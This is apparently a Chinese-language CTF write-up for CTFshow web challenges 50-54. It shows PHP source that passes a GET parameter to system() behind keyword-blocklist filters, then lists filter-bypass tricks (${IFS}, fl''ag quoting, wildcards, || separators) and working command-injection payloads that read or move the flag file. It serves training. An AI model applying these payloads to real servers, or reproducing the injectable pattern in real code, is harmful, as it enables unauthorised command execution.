CTFshow web(php命令执行 50-54)

web50

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-05 22:32:47

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET['c'])){

c=_GET['c'];

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(FILE);

}

做题之前先给大伙献上干货。

1.绕过cat使用:

tac more less head tac tail nl od(二进制查看) vi vim sort uniq rev

2.绕过空格用:

%09 <> ${IFS} IFS {cat,fl*} %20

注:

%09 ##(Tab) %20 ##(space)

3.对flag的过滤(这里也就几个,索性就全丢出来了)

1.'' (例如fl''ag)

2."" (例如fl""ag)

3.? (例如fl??)

4.* (例如fl*)

来自我的文章: 一篇文章带你进阶CTF命令执行-CSDN博客

可以去看看,这里后面的题目我会围绕我文章的知识点来作答

这里 system($c." >/dev/null 2>&1");其实就是将内容写入黑洞的意思,你的命令执行内容被带走了,所以这里使用命令分割 || (只执行h前面的命令)

过滤了cat使用tac ,空格过滤了使用<>

flag过滤了那就变成fl''ag

payload:?c=tac<>fl''ag.php||

web51

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-05 22:42:52

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET['c'])){

c=_GET['c'];

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(FILE);

}

这里把tac过滤了,直接换成nl就好了

web52

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-05 22:50:30

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET['c'])){

c=_GET['c'];

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(FILE);

}看准过滤条件,过滤了啥那就替换就好啊。

这里没有禁用那就使用{IFS}替换空格

payload;

?c=nl${IFS}fl''ag.php||

web53

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-07 18:21:02

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET['c'])){

c=_GET['c'];

if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){

echo($c);

d = system(c);

echo "<br>".$d;

}else{

echo 'no';

}

}else{

highlight_file(FILE);

}

这里没有写入黑洞里了,直接把上面payload复制然后删去||就好

payload:?c=nl${IFS}fl''ag.php

web54

<?php

/*

-*- coding: utf-8 -*-

@Author: Lazzaro

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-07 19:43:42

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET['c'])){

c=_GET['c'];

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c);

}

}else{

highlight_file(FILE);

}

额,汗流浃背了,这过滤有点东西啊,之前的方法用不了了,这下只能文件写入了

payload:?c=mv{IFS}fla?.php{IFS}z.txt

这里稍微再说一下啊,我一开始使用的是z.php,但是不行啊,访问不了,只能使用txt,而且最烦恼的是如果你一开始使用了z.php后面再改成txt也没有用了,因为已经把flag写入了php,所以只能销毁容器重新来

真诚地希望我的文章能够帮助大家,谢谢,在这过年期间我也是迅速更新,最后祝大家龙年吉祥!

相关推荐
高山我梦口香糖11 分钟前
[react]searchParams转普通对象
开发语言·前端·javascript
m0_7482352414 分钟前
前端实现获取后端返回的文件流并下载
前端·状态模式
m0_748240251 小时前
前端如何检测用户登录状态是否过期
前端
black^sugar1 小时前
纯前端实现更新检测
开发语言·前端·javascript
Clockwiseee1 小时前
php伪协议
windows·安全·web安全·网络安全
寻找沙漠的人2 小时前
前端知识补充—CSS
前端·css
GISer_Jing2 小时前
2025前端面试热门题目——计算机网络篇
前端·计算机网络·面试
m0_748245522 小时前
吉利前端、AI面试
前端·面试·职场和发展
理想不理想v2 小时前
webpack最基础的配置
前端·webpack·node.js
pubuzhixing2 小时前
开源白板新方案:Plait 同时支持 Angular 和 React 啦!
前端·开源·github